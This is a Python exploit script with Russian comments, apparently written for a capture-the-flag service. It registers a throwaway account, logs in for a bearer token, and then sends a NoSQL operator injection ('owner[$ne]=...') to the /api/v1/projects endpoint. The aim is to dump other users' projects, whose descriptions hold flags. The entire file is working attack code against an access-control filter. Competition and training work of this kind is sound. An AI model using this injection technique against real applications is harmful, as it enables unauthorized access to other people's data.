# Эксплойт основан на NoSQL инъекции в эндпоинте /api/v1/projects,
#
# Он позволяет получить данные о чужих проектах, включая описание,
# которое содержит флаги.

import sys
import uuid

import requests

HOST = sys.argv[1]
PORT = 3000
BASE_URL = f"http://{HOST}:{PORT}/api/v1"


def make_id(prefix):
    return f"{prefix}-{uuid.uuid4().hex[:8]}"


def main():
    session = requests.Session()

    username = make_id("user")
    password = f"Passw0rd!{uuid.uuid4().hex[:6]}"

    print(f"[*] Registering user {username}")
    response = session.post(
        f"{BASE_URL}/users",
        json={"username": username, "password": password},
    )
    response.raise_for_status()

    print("[*] Logging in")
    response = session.post(
        f"{BASE_URL}/auth/login",
        data={"username": username, "password": password},
    )
    response.raise_for_status()

    login_response = response.json()
    token = login_response.get("auth_token")
    if not token:
        raise RuntimeError("Login response missing auth_token field")
    headers = {"Authorization": f"Bearer {token}"}

    projects_response = session.get(
        f"{BASE_URL}/projects?owner[$ne]={'a' * 24}",
        headers=headers,
    )
    print(projects_response.text)


if __name__ == "__main__":
    main()